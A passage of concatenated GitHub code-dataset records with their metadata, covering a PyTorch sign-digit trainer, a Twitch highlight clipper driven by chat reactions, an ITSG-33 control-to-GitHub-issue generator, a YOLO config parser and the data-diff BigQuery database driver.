datetime.now().strftime(\"-%Y-%m-%d-%H-%M-%S\")\n model_path = path.Path(str(model_path)+timestamp)\n torch.save(dl_model.state_dict(), model_path)\n\ndef train_export_model():\n model=train_model(model, criterion)\n export_model(model, \"outputs\")\n\n \ndef inference(img, model_path):\n #model = SignNet()\n model.load_state_dict(torch.load(model_path))\n #with model.eval():\n infer_img = transform(img)\n infer_img=infer_img.view(-1, infer_img.shape[0], infer_img.shape[1], infer_img.shape[2])\n outputs = models.softmax(model(infer_img))\n probability, classes = torch.max(outputs, 1)\n return classes.item(), probability.item()\n #return f'Prediction: {classes.item()}; Probability: {probability.item()}'\n\n#if __name__ == __main__:\n ", "repo_name": "daunsid/Sign-Language-Digit-Recognition", "sub_path": "trainer/task.py", "file_name": "task.py", "file_ext": "py", "file_size_in_byte": 3354, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "models.init_model_params", "line_number": 7, "usage_type": "call"}, {"api_name": "data.get_epoch", "line_number": 13, "usage_type": "call"}, {"api_name": "data.get_epoch", "line_number": 15, "usage_type": "call"}, {"api_name": "data.loadData", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.set_grad_enabled", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 84, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 93, "usage_type": "call"}, {"api_name": "data.transform", "line_number": 95, "usage_type": "call"}, {"api_name": "models.softmax", "line_number": 97, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 98, "usage_type": "call"}]} {"seq_id": "24128128930", "text": "import json\nimport datetime\nimport os, sys\nfrom moviepy.editor import VideoFileClip\n\n\nclass InterestingMoment:\n def __init__(self, start, end) -> None:\n super().__init__()\n self.start = start\n self.end = end\n # self.from\n\n\nclass KDAInterestingMoment(InterestingMoment):\n def __init__(self, start, end, scores) -> None:\n super().__init__(start, end)\n self.xdPogCount = 0\n self.scores = []\n self.xdCount = 0\n self.pogCount = 0\n self.scores = scores\n\n def tryToMergeWith(self, other):\n if not other.scores[0] in self.scores and self.isOverlaping(other):\n self.scores.extend(other.scores)\n self.start = min(self.start, other.start)\n self.end = max(self.end, other.end)\n return True\n return False\n\n def isOverlaping(self, other):\n return other.start < self.start < other.end or self.start < other.start < self.end\n\n def __str__(self) -> str:\n return \"KDAInterestingMoment: |\" + str(self.start) + \" -> \" + str(self.end) + \"| points: \" + str(\n self.xdPogCount) + \" scoreslen: \" + str(len(self.scores))\n\n\nclass QualityContentMaker:\n def __init__(self, vid_id) -> None:\n super().__init__()\n self.vid_id = vid_id\n self.video_info = self.readVideoInfo()\n self.messages = self.readMessages()\n self.stream_start = self.parseTime(self.video_info['created_at'])\n self.stream_duration = int(self.video_info['length']) + 1\n self.timeToMessages = self.generateTimeToMessagesDict()\n self.timeToXDCount = self.getTimeToCount(\"xd\")\n self.timeToPogCount = self.getTimeToCount(\"pogchamp\")\n self.kdaList = self.getKdaList()\n self.kdaMoments = self.getMergedKdaMoments(self.kdaList)\n self.video = None\n self.timeToXDPogCount = {x: self.timeToXDCount[x] + self.timeToPogCount[x] for x in self.timeToPogCount}\n\n # todo top 5 momentow pogchamp oddalonych od siebie o przynajmniej tam minute i wuciac 30 sec (15, 15)\n # top 30 xd sorted ascending (or shuffled -> to test which has better views)(or one good one worse from the middle so thee best one is on the begginig)\n # top 30 pogchamp sorted ascending (or shuffled -> to test which has better views)\n # top 30 pogchamp + xd sorted scending (or shuffled -> to test which has better views)\n # top 50 kills sorted sorted ascending (or shuffled -> to test which has better views)\n # checkc for multikill?\n\n self.countXDPOGForKdaMoments()\n print(self.kdaList)\n print(self.timeToXDCount)\n print(self.timeToPogCount)\n self.TOPGeneralKdaMoments = sorted(self.kdaMoments, key=lambda moment: moment.xdPogCount, reverse=True)\n self.TOPxdKdaMoments = sorted(self.kdaMoments, key=lambda moment: moment.xdCount, reverse=True)\n self.TOPpogKdaMoments = sorted(self.kdaMoments, key=lambda moment: moment.xdCount, reverse=True)\n\n # TODO; ADD top xd moments\n\n # for x in self.TOPpogKdaMoments:\n # print(x)\n # print(\"=========\")\n # for x in self.TOPxdKdaMoments:\n # print(x)\n # print(\"=========\")\n # for x in self.TOPGeneralKdaMoments:\n # print(x)\n\n def readVideoInfo(self):\n file_name = \"{}__vid_info.txt\".format(self.vid_id)\n with open(file_name) as json_file:\n return json.load(json_file)\n\n def readMessages(self):\n file_name = \"{}__messages.txt\".format(self.vid_id)\n with open(file_name) as json_file:\n return json.load(json_file)\n\n def generateTimeToMessagesDict(self):\n m_bodies = []\n m_created = []\n for message in self.messages:\n m_bodies.append(message[\"message\"][\"body\"])\n m_created.append(self.parseTime(message[\"created_at\"]))\n second_to_messages = {new_list: [] for new_list in range(self.stream_duration)}\n print(self.stream_duration)\n for i in range(len(m_created)):\n time = int((m_created[i] - self.stream_start).total_seconds())\n if time < self.stream_duration:\n second_to_messages[time].append(m_bodies[i])\n return second_to_messages\n\n @staticmethod\n def parseTime(str_rep):\n try:\n return datetime.datetime.strptime(str_rep, \"%Y-%m-%dT%H:%M:%S.%fZ\")\n except:\n return datetime.datetime.strptime(str_rep, \"%Y-%m-%dT%H:%M:%SZ\")\n\n def getTimeToCount(self, pattern):\n pattern = pattern.lower()\n return {sec: sum(1 if pattern in m.lower() else 0 for m in self.timeToMessages[sec]) for sec in\n self.timeToMessages}\n\n def getKdaList(self):\n file_name = \"{}_kda.txt\".format(self.vid_id)\n with open(file_name) as json_file:\n return json.load(json_file)\n\n def getMergedKdaMoments(self, kdaList):\n res = []\n for i, el in enumerate(kdaList):\n moment = KDAInterestingMoment(el[0] - 13, el[0] + 13, [el[2]])\n merged = False\n for res_moment in res:\n if res_moment.isOverlaping(moment):\n if res_moment.tryToMergeWith(moment):\n print(\"merged\", res_moment, moment)\n merged = True\n if not merged:\n res.append(moment)\n return res\n\n def countXDPOGForKdaMoments(self):\n for moment in self.kdaMoments:\n for i in range(int(moment.start), int(moment.end + 1)):\n if 0 <= i < self.stream_duration:\n moment.pogCount += self.timeToPogCount[i]\n moment.xdCount += self.timeToXDPogCount[i]\n moment.xdPogCount += self.timeToXDPogCount[i]\n\n def writeOutputToDIR(self, vid_id):\n self.video = VideoFileClip(vid_id+\".mp4\")\n dir_name = \"out_\" + vid_id\n self.mkDir(dir_name)\n self.writeMomentsList(self.TOPGeneralKdaMoments[:50], dir_name+\"/Top50GenKdaMOM\")\n self.writeMomentsList(self.TOPxdKdaMoments[:50], dir_name+\"/Top50XdKdaMOM\")\n self.writeMomentsList(self.TOPpogKdaMoments[:50], dir_name+\"/Top50PogKdaMOM\")\n\n def writeMomentsList(self, list, dir):\n for i, m in enumerate(list):\n v1 = self.video.subclip(m.start, m.end)\n out_name = dir+\"/vid_top{}_t{}-{}.mp4\".format(i+1, m.start, m.end)\n # v1.write_videofile(out_name)\n v1.to_videofile(out_name, codec=\"libx264\", temp_audiofile='temp-audio.m4a', remove_temp=True, audio_codec='aac')\n\n def mkDir(self, dir):\n try:\n os.mkdir(dir)\n except:\n pass\n\n\nif __name__ == '__main__':\n # 506496104\n vid_id = \"591019733\"\n maker = QualityContentMaker(vid_id)\n\n maker.writeOutputToDIR(vid_id)\n exit()\n # download_info_and_messages_to_files(vid_id)\n # start, second_to_messages = preprocess(vid_id + '__messages.txt')\n # second_to_xdcount = convert_to_count(second_to_messages, \"xd\")\n # second_to_pogcount = convert_to_count(second_to_messages, \"pogchamp\")\n # print(second_to_messages)\n # print(second_to_xdcount)\n # print(second_to_pogcount)\n\n# if __name__ == '__main__':\n# v_id = \"591019733\"\n# with open(file_name) as json_file:\n# messages = json.load(\"{}__messages.txt\".format(v_id))\n# info = json.load(\"{}__vid_info.txt\".format(v_id))\n# kda = json.load(\"{}__kda.txt\".format(v_id))\n# print(messages)\n# print(info)\n# print(kda)\n", "repo_name": "GaspardIV/twitchautocut", "sub_path": "QualityContentMaker.py", "file_name": "QualityContentMaker.py", "file_ext": "py", "file_size_in_byte": 7512, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "json.load", "line_number": 85, "usage_type": "call"}, {"api_name": "json.load", "line_number": 90, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 109, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 109, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 111, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 111, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 121, "usage_type": "call"}, {"api_name": "moviepy.editor.VideoFileClip", "line_number": 146, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 162, "usage_type": "call"}]} {"seq_id": "14755913659", "text": "\"\"\"\nThe purpose of this script is to take the CSV file with the ITSG-33 controls and create issues in github for each control.\nThe script will create the issue title, body, and labels. The body will have the control definition, class, supplemental guidance,\n references, general guide, suggested placeholder values, profile specific notes, suggested assignment, and support teams.\n\"\"\"\n\nimport csv\nimport requests\nimport os\nimport string\nimport logging\nfrom enum import Enum\n\n\"\"\"\nenv vars:\nREPO = owner/repo\nGITHUB_TOKEN = github token to create issues\nCSV_FILE = path to csv file\nLOG_LEVEL = If exists, set logging level to this. Otherwise, set to INFO\n\"\"\"\nREPO = os.getenv(\"REPO\")\nGITHUB_TOKEN = os.getenv(\"GITHUB_TOKEN\")\nCSV_FILE = \"controls.csv\"\nLOG_LEVEL = os.getenv(\"LOG_LEVEL\", logging.INFO)\n\nclass Header(Enum):\n FAMILY = 0\n CONTROL_ID = 1\n ENHANCEMENT = 2\n CONTROL_NAME = 3\n CONTROL_CLASS = 4\n CONTROL_DEFINITION = 5\n REFERENCES = 7\n SUPPLEMENTAL_GUIDANCE = 6\n IT_SECURITY_FUNCTION = 8\n IT_OPERATIONS_GROUP = 9\n IT_PROJECTS = 10\n PHYSICAL_SECURITY_GROUP = 11\n PERSONNEL_SECURITY_GROUP = 12\n LEARNING_CENTER = 13\n GENERAL_GUIDE = 14\n SUGGESTED_PRIORITY = 15\n SUGGESTED_PLACEHOLDER_VALUES = 17\n PROFILE_SPECIFIC_NOTES = 18\n\n\n\"\"\"\nSet logging level\n\"\"\"\nlogging.basicConfig(\n level=LOG_LEVEL,\n format=\"%(asctime)s :%(levelname)s:%(funcName)s:%(lineno)d %(message)s\",\n datefmt=\"%d-%b-%y %H:%M:%S\",\n)\n\n\ndef main():\n \"\"\"\n Program entrypoint to creat issues in github for each control of the ITSG-33 controls spreadsheet.\n \"\"\"\n for row in get_controls():\n issues_url = get_issues_url()\n headers = get_header()\n issues_json = get_issues_json(row)\n\n response = post_request(issues_url, headers, issues_json)\n\n logging.debug(\"Issues URL: {}\".format(issues_url))\n logging.debug(\"Issues JSON: {}\".format(issues_json))\n logging.debug(\"Response: {}\".format(response.text))\n logging.debug(\"Headers: {}\".format(headers))\n\n\ndef post_request(issues_url, headers, issues_json):\n \"\"\"\n Post request to github api to create issue. If successful, print the control title.\n If not, print the control title and the response. Return the response.\n \"\"\"\n response = requests.post(issues_url, headers=headers, json=issues_json, timeout=5)\n if response.status_code == 201:\n logging.info(\"Created issue for control: {}\".format(issues_json[\"title\"]))\n else:\n logging.error(\n \"Failed to create issue for control: {}\".format(issues_json[\"title\"])\n )\n logging.error(\"Response: {}\".format(response.text))\n return response\n\n\ndef get_github_token():\n \"\"\"\n Get github token from env var\n \"\"\"\n if GITHUB_TOKEN:\n return GITHUB_TOKEN\n else:\n raise Exception(\"GITHUB_TOKEN env var not set\")\n\n\ndef get_repo():\n \"\"\"\n Get repo from env var\n \"\"\"\n if REPO:\n return REPO\n else:\n raise Exception(\"REPO env var not set\")\n\n\ndef get_issues_url():\n \"\"\"\n Get github issues url\n \"\"\"\n return \"https://api.github.com/repos/{}/issues\".format(get_repo())\n\n\ndef get_header():\n \"\"\"\n Get header for github api\n \"\"\"\n header = {\n \"Accept\": \"application/vnd.github+json\",\n \"Authorization\": \"Bearer {}\".format(get_github_token()),\n \"X-GitHub-Api-Version\": \"2022-11-28\",\n }\n return header\n\n\ndef get_issues_json(row):\n \"\"\"\n Get issues json to have the required and relevant fields\n \"\"\"\n title = get_title(row)\n body = get_body(row)\n labels = get_labels(row)\n return {\"title\": title, \"body\": body, \"labels\": labels}\n\n\ndef get_body(row):\n \"\"\"\n Get body for issue. Has at least the control definition.\n \"\"\"\n body = \"# Control Definition\\n{}\\n\\n\".format(row[Header.CONTROL_DEFINITION.value])\n if row[Header.CONTROL_CLASS.value]:\n body += \"# Class\\n{}\\n\\n\".format(row[Header.CONTROL_CLASS.value])\n if row[Header.SUPPLEMENTAL_GUIDANCE.value]:\n body += \"# Supplemental Guidance\\n{}\\n\\n\".format(\n row[Header.SUPPLEMENTAL_GUIDANCE.value]\n )\n if row[Header.REFERENCES.value]:\n body += \"# References\\n{}\\n\\n\".format(row[Header.REFERENCES.value])\n if row[Header.GENERAL_GUIDE.value]:\n body += \"# General Guide\\n{}\\n\\n\".format(row[Header.GENERAL_GUIDE.value])\n if row[Header.SUGGESTED_PLACEHOLDER_VALUES.value]:\n body += \"# Suggested Placeholder Values\\n{}\\n\\n\".format(\n row[Header.SUGGESTED_PLACEHOLDER_VALUES.value]\n )\n if row[Header.PROFILE_SPECIFIC_NOTES.value]:\n body += \"# Profile Specific Notes\\n{}\\n\\n\".format(\n row[Header.PROFILE_SPECIFIC_NOTES.value]\n )\n if get_suggested_assignment(row):\n body += \"# Suggested Assignment\\n{}\\n\\n\".format(get_suggested_assignment(row))\n if get_support_teams(row):\n body += \"# Support Teams\\n{}\\n\\n\".format(get_support_teams(row))\n return body\n\n\ndef get_labels(row):\n \"\"\"\n Get labels for issue to help future retrieval\n \"\"\"\n labels = []\n labels.append(\n \"Control: {}-{}\".format(row[Header.FAMILY.value], row[Header.CONTROL_ID.value])\n )\n if row[Header.SUGGESTED_PRIORITY.value]:\n labels.append(\"Priority: {}\".format(row[Header.SUGGESTED_PRIORITY.value]))\n if row[Header.CONTROL_CLASS.value]:\n labels.append(\"Class: {}\".format(row[Header.CONTROL_CLASS.value]))\n if get_suggested_assignment(row):\n labels.append(\"Suggested Assignment: {}\".format(get_suggested_assignment(row)))\n labels.append(\"ITSG-33\")\n return labels\n\n\ndef get_suggested_assignment(row):\n \"\"\"\n Get suggested assignment for issue by looking up in the fields who has the \"R\" (Responsible)\n \"\"\"\n for i in range(8, 14):\n if row[i] == \"R\":\n return get_enum_string(i)\n\n\ndef get_support_teams(row):\n \"\"\"\n Get support teams for issue by looking up in the fields who has the \"S\" (Support)\n \"\"\"\n teams = []\n for i in range(8, 14):\n if row[i] == \"S\":\n teams.append(get_enum_string(i))\n return \", \".join(teams)\n\n\ndef get_enum_string(index):\n \"\"\"\n Get enum string from index and return a string read friendly\n \"\"\"\n temp = string.capwords(Header(index).name.replace(\"_\", \" \"))\n if \"It \" == temp[0:3]:\n temp = temp.replace(\"It \", \"IT \", 1)\n return temp\n\n\ndef get_title(row):\n \"\"\"\n Get title for issue. The logic required is encapsulated in this function. Some controls have enhancements, and if they do,\n the title should be formatted to show such info.\n \"\"\"\n title = \"\"\n if row[Header.ENHANCEMENT.value]:\n if \"100\" in row[Header.ENHANCEMENT.value]:\n title = \"{}-{}{}: {}\".format(\n row[Header.FAMILY.value],\n row[Header.CONTROL_ID.value],\n row[Header.ENHANCEMENT.value].strip(),\n string.capwords(row[Header.CONTROL_NAME.value]),\n )\n else:\n title = \"{}-{}{}: {}\".format(\n row[Header.FAMILY.value],\n row[Header.CONTROL_ID.value],\n row[Header.ENHANCEMENT.value].strip(),\n string.capwords(row[Header.CONTROL_DEFINITION.value].split(\"\\n\")[0]),\n )\n else:\n title = \"{}-{}: {}\".format(\n row[Header.FAMILY.value],\n row[Header.CONTROL_ID.value],\n string.capwords(row[Header.CONTROL_NAME.value]),\n )\n return title\n\n\ndef get_controls():\n \"\"\"\n Get controls from csv file and jumps the header.\n \"\"\"\n rows = []\n with open(CSV_FILE, \"r\") as file:\n reader = csv.reader(file)\n\n if next(reader)[0] != \"Family\":\n raise ValueError(\"Headers different than expected\")\n\n for row in reader:\n rows.append(row)\n\n if len(rows) < 1:\n raise ValueError(\"No controls found in csv file\")\n return rows\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "cds-snc/security-tools", "sub_path": "tools/itsg33-issue-generator/script.py", "file_name": "script.py", "file_ext": "py", "file_size_in_byte": 7978, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.getenv", "line_number": 21, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 22, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 24, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 24, "usage_type": "attribute"}, {"api_name": "enum.Enum", "line_number": 26, "usage_type": "name"}, {"api_name": "logging.basicConfig", "line_number": 50, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 68, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 69, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 70, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 71, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 79, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 81, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 83, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 86, "usage_type": "call"}, {"api_name": "string.capwords", "line_number": 211, "usage_type": "call"}, {"api_name": "string.capwords", "line_number": 229, "usage_type": "call"}, {"api_name": "string.capwords", "line_number": 236, "usage_type": "call"}, {"api_name": "string.capwords", "line_number": 242, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 253, "usage_type": "call"}]} {"seq_id": "39510694927", "text": "import yaml\nimport numpy as np\nimport copy\n\nfrom autoagent.data.vision.augment import DeltaBright, HFlip\n\n\ndef parse_params(params_file):\n\n name_to_augment = {\n 'delta_bright': DeltaBright(),\n 'hflip': HFlip()\n }\n\n with open(params_file) as yaml_file:\n yaml_params = yaml.load(yaml_file, Loader=yaml.FullLoader)\n\n params = copy.deepcopy(yaml_params)\n params['anchor_priors'] = [np.array(x, dtype=np.float32) for x in params['anchor_priors']]\n params['augments'] = [name_to_augment[s] for s in params['augments']]\n\n cls_names = params['cls_names']\n params['name_to_idx'] = {k:i for k,i in zip(cls_names, range(len(cls_names)))}\n params['idx_to_name'] = {v:k for k,v in params['name_to_idx'].items()}\n params['num_cls'] = len(cls_names)\n\n return yaml_params, params\n", "repo_name": "lpraat/autoagent", "sub_path": "autoagent/models/vision/yolo/config/parse_config.py", "file_name": "parse_config.py", "file_ext": "py", "file_size_in_byte": 818, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "autoagent.data.vision.augment.DeltaBright", "line_number": 11, "usage_type": "call"}, {"api_name": "autoagent.data.vision.augment.HFlip", "line_number": 12, "usage_type": "call"}, {"api_name": "yaml.load", "line_number": 16, "usage_type": "call"}, {"api_name": "yaml.FullLoader", "line_number": 16, "usage_type": "attribute"}, {"api_name": "copy.deepcopy", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 19, "usage_type": "attribute"}]} {"seq_id": "70996523103", "text": "import re\nfrom typing import Any, List, Union\n\nimport attrs\n\nfrom data_diff.abcs.database_types import (\n ColType,\n Array,\n JSON,\n Struct,\n Timestamp,\n Datetime,\n Integer,\n Decimal,\n Float,\n Text,\n DbPath,\n FractionalType,\n TemporalType,\n Boolean,\n UnknownColType,\n)\nfrom data_diff.abcs.mixins import (\n AbstractMixin_MD5,\n AbstractMixin_NormalizeValue,\n AbstractMixin_Schema,\n AbstractMixin_TimeTravel,\n)\nfrom data_diff.abcs.compiler import Compilable\nfrom data_diff.queries.api import this, table, SKIP, code\nfrom data_diff.databases.base import (\n BaseDialect,\n Database,\n import_helper,\n parse_table_name,\n ConnectError,\n apply_query,\n QueryResult,\n CHECKSUM_OFFSET,\n CHECKSUM_HEXDIGITS,\n MD5_HEXDIGITS,\n)\nfrom data_diff.databases.base import TIMESTAMP_PRECISION_POS, ThreadLocalInterpreter, Mixin_RandomSample\n\n\n@import_helper(text=\"Please install BigQuery and configure your google-cloud access.\")\ndef import_bigquery():\n from google.cloud import bigquery\n\n return bigquery\n\n\ndef import_bigquery_service_account():\n from google.oauth2 import service_account\n\n return service_account\n\n\ndef import_bigquery_service_account_impersonation():\n from google.auth import impersonated_credentials\n\n return impersonated_credentials\n\n\n@attrs.define(frozen=False)\nclass Mixin_MD5(AbstractMixin_MD5):\n def md5_as_int(self, s: str) -> str:\n return f\"cast(cast( ('0x' || substr(TO_HEX(md5({s})), {1+MD5_HEXDIGITS-CHECKSUM_HEXDIGITS})) as int64) as numeric) - {CHECKSUM_OFFSET}\"\n\n\n@attrs.define(frozen=False)\nclass Mixin_NormalizeValue(AbstractMixin_NormalizeValue):\n def normalize_timestamp(self, value: str, coltype: TemporalType) -> str:\n if coltype.rounds:\n timestamp = f\"timestamp_micros(cast(round(unix_micros(cast({value} as timestamp))/1000000, {coltype.precision})*1000000 as int))\"\n return f\"FORMAT_TIMESTAMP('%F %H:%M:%E6S', {timestamp})\"\n\n if coltype.precision == 0:\n return f\"FORMAT_TIMESTAMP('%F %H:%M:%S.000000', {value})\"\n elif coltype.precision == 6:\n return f\"FORMAT_TIMESTAMP('%F %H:%M:%E6S', {value})\"\n\n timestamp6 = f\"FORMAT_TIMESTAMP('%F %H:%M:%E6S', {value})\"\n return (\n f\"RPAD(LEFT({timestamp6}, {TIMESTAMP_PRECISION_POS+coltype.precision}), {TIMESTAMP_PRECISION_POS+6}, '0')\"\n )\n\n def normalize_number(self, value: str, coltype: FractionalType) -> str:\n return f\"format('%.{coltype.precision}f', {value})\"\n\n def normalize_boolean(self, value: str, _coltype: Boolean) -> str:\n return self.to_string(f\"cast({value} as int)\")\n\n def normalize_json(self, value: str, _coltype: JSON) -> str:\n # BigQuery is unable to compare arrays & structs with ==/!=/distinct from, e.g.:\n # Got error: 400 Grouping is not defined for arguments of type ARRAY at …\n # So we do the best effort and compare it as strings, hoping that the JSON forms\n # match on both sides: i.e. have properly ordered keys, same spacing, same quotes, etc.\n return f\"to_json_string({value})\"\n\n def normalize_array(self, value: str, _coltype: Array) -> str:\n # BigQuery is unable to compare arrays & structs with ==/!=/distinct from, e.g.:\n # Got error: 400 Grouping is not defined for arguments of type ARRAY at …\n # So we do the best effort and compare it as strings, hoping that the JSON forms\n # match on both sides: i.e. have properly ordered keys, same spacing, same quotes, etc.\n return f\"to_json_string({value})\"\n\n def normalize_struct(self, value: str, _coltype: Struct) -> str:\n # BigQuery is unable to compare arrays & structs with ==/!=/distinct from, e.g.:\n # Got error: 400 Grouping is not defined for arguments of type ARRAY at …\n # So we do the best effort and compare it as strings, hoping that the JSON forms\n # match on both sides: i.e. have properly ordered keys, same spacing, same quotes, etc.\n return f\"to_json_string({value})\"\n\n\n@attrs.define(frozen=False)\nclass Mixin_Schema(AbstractMixin_Schema):\n def list_tables(self, table_schema: str, like: Compilable = None) -> Compilable:\n return (\n table(table_schema, \"INFORMATION_SCHEMA\", \"TABLES\")\n .where(\n this.table_schema == table_schema,\n this.table_name.like(like) if like is not None else SKIP,\n this.table_type == \"BASE TABLE\",\n )\n .select(this.table_name)\n )\n\n\n@attrs.define(frozen=False)\nclass Mixin_TimeTravel(AbstractMixin_TimeTravel):\n def time_travel(\n self,\n table: Compilable,\n before: bool = False,\n timestamp: Compilable = None,\n offset: Compilable = None,\n statement: Compilable = None,\n ) -> Compilable:\n if before:\n raise NotImplementedError(\"before=True not supported for BigQuery time-travel\")\n\n if statement is not None:\n raise NotImplementedError(\"BigQuery time-travel doesn't support querying by statement id\")\n\n if timestamp is not None:\n assert offset is None\n return code(\"{table} FOR SYSTEM_TIME AS OF {timestamp}\", table=table, timestamp=timestamp)\n\n assert offset is not None\n return code(\n \"{table} FOR SYSTEM_TIME AS OF TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL {offset} HOUR);\",\n table=table,\n offset=offset,\n )\n\n\n@attrs.define(frozen=False)\nclass Dialect(\n BaseDialect, Mixin_Schema, Mixin_MD5, Mixin_NormalizeValue, AbstractMixin_MD5, AbstractMixin_NormalizeValue\n):\n name = \"BigQuery\"\n ROUNDS_ON_PREC_LOSS = False # Technically BigQuery doesn't allow implicit rounding or truncation\n TYPE_CLASSES = {\n # Dates\n \"TIMESTAMP\": Timestamp,\n \"DATETIME\": Datetime,\n # Numbers\n \"INT64\": Integer,\n \"INT32\": Integer,\n \"NUMERIC\": Decimal,\n \"BIGNUMERIC\": Decimal,\n \"FLOAT64\": Float,\n \"FLOAT32\": Float,\n \"STRING\": Text,\n \"BOOL\": Boolean,\n \"JSON\": JSON,\n }\n TYPE_ARRAY_RE = re.compile(r\"ARRAY<(.+)>\")\n TYPE_STRUCT_RE = re.compile(r\"STRUCT<(.+)>\")\n\n def random(self) -> str:\n return \"RAND()\"\n\n def quote(self, s: str):\n return f\"`{s}`\"\n\n def to_string(self, s: str):\n return f\"cast({s} as string)\"\n\n def type_repr(self, t) -> str:\n try:\n return {str: \"STRING\", float: \"FLOAT64\"}[t]\n except KeyError:\n return super().type_repr(t)\n\n def parse_type(\n self,\n table_path: DbPath,\n col_name: str,\n type_repr: str,\n *args: Any, # pass-through args\n **kwargs: Any, # pass-through args\n ) -> ColType:\n col_type = super().parse_type(table_path, col_name, type_repr, *args, **kwargs)\n if isinstance(col_type, UnknownColType):\n m = self.TYPE_ARRAY_RE.fullmatch(type_repr)\n if m:\n item_type = self.parse_type(table_path, col_name, m.group(1), *args, **kwargs)\n col_type = Array(item_type=item_type)\n\n # We currently ignore structs' structure, but later can parse it too. Examples:\n # - STRUCT (unnamed)\n # - STRUCT (named)\n # - STRUCT> (with complex fields)\n # - STRUCT> (nested)\n m = self.TYPE_STRUCT_RE.fullmatch(type_repr)\n if m:\n col_type = Struct()\n\n return col_type\n\n def to_comparable(self, value: str, coltype: ColType) -> str:\n \"\"\"Ensure that the expression is comparable in ``IS DISTINCT FROM``.\"\"\"\n if isinstance(coltype, (JSON, Array, Struct)):\n return self.normalize_value_by_type(value, coltype)\n else:\n return super().to_comparable(value, coltype)\n\n def set_timezone_to_utc(self) -> str:\n raise NotImplementedError()\n\n def parse_table_name(self, name: str) -> DbPath:\n path = parse_table_name(name)\n return tuple(i for i in path if i is not None)\n\n\n@attrs.define(frozen=False, init=False, kw_only=True)\nclass BigQuery(Database):\n CONNECT_URI_HELP = \"bigquery:///\"\n CONNECT_URI_PARAMS = [\"dataset\"]\n dialect = Dialect()\n\n project: str\n dataset: str\n _client: Any\n\n def __init__(self, project, *, dataset, bigquery_credentials=None, **kw):\n super().__init__()\n credentials = bigquery_credentials\n bigquery = import_bigquery()\n\n keyfile = kw.pop(\"keyfile\", None)\n if keyfile:\n bigquery_service_account = import_bigquery_service_account()\n credentials = bigquery_service_account.Credentials.from_service_account_file(\n keyfile,\n scopes=[\"https://www.googleapis.com/auth/cloud-platform\"],\n )\n elif kw.get(\"impersonate_service_account\"):\n bigquery_service_account_impersonation = import_bigquery_service_account_impersonation()\n credentials = bigquery_service_account_impersonation.Credentials(\n source_credentials=credentials,\n target_principal=kw[\"impersonate_service_account\"],\n target_scopes=[\"https://www.googleapis.com/auth/cloud-platform\"],\n )\n\n self._client = bigquery.Client(project=project, credentials=credentials, **kw)\n self.project = project\n self.dataset = dataset\n\n self.default_schema = dataset\n\n def _normalize_returned_value(self, value):\n if isinstance(value, bytes):\n return value.decode()\n return value\n\n def _query_atom(self, sql_code: str):\n from google.cloud import bigquery\n\n try:\n result = self._client.query(sql_code).result()\n columns = [c.name for c in result.schema]\n rows = list(result)\n except Exception as e:\n msg = \"Exception when trying to execute SQL code:\\n %s\\n\\nGot error: %s\"\n raise ConnectError(msg % (sql_code, e))\n\n if rows and isinstance(rows[0], bigquery.table.Row):\n rows = [tuple(self._normalize_returned_value(v) for v in row.values()) for row in rows]\n return QueryResult(rows, columns)\n\n def _query(self, sql_code: Union[str, ThreadLocalInterpreter]) -> QueryResult:\n return apply_query(self._query_atom, sql_code)\n\n def close(self):\n super().close()\n self._client.close()\n\n def select_table_schema(self, path: DbPath) -> str:\n project, schema, name = self._normalize_table_path(path)\n return (\n \"SELECT column_name, data_type, 6 as datetime_precision, 38 as numeric_precision, 9 as numeric_scale \"\n f\"FROM `{project}`.`{schema}`.INFORMATION_SCHEMA.COLUMNS \"\n f\"WHERE table_name = '{name}' AND table_schema = '{schema}'\"\n )\n\n def query_table_unique_columns(self, path: DbPath) -> List[str]:\n return []\n\n def _normalize_table_path(self, path: DbPath) -> DbPath:\n if len(path) == 0:\n raise ValueError(f\"{self.name}: Bad table path for {self}: ()\")\n elif len(path) == 1:\n return (self.project, self.default_schema, path[0])\n elif len(path) == 2:\n return (self.project,) + path\n elif len(path) == 3:\n return path\n else:\n raise ValueError(\n f\"{self.name}: Bad table path for {self}: '{'.'.join(path)}'. Expected form: [project.]schema.table\"\n )\n\n @property\n def is_autocommit(self) -> bool:\n return True\n", "repo_name": "datafold/data-diff", "sub_path": "data_diff/databases/bigquery.py", "file_name": "bigquery.py", "file_ext": "py", "file_size_in_byte": 11762, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2618, "dataset": "github-code", "pt": "7", "api": [{"api_name": "google.cloud.bigquery", "line_number": 50, "usage_type": "name"}, {"api_name": 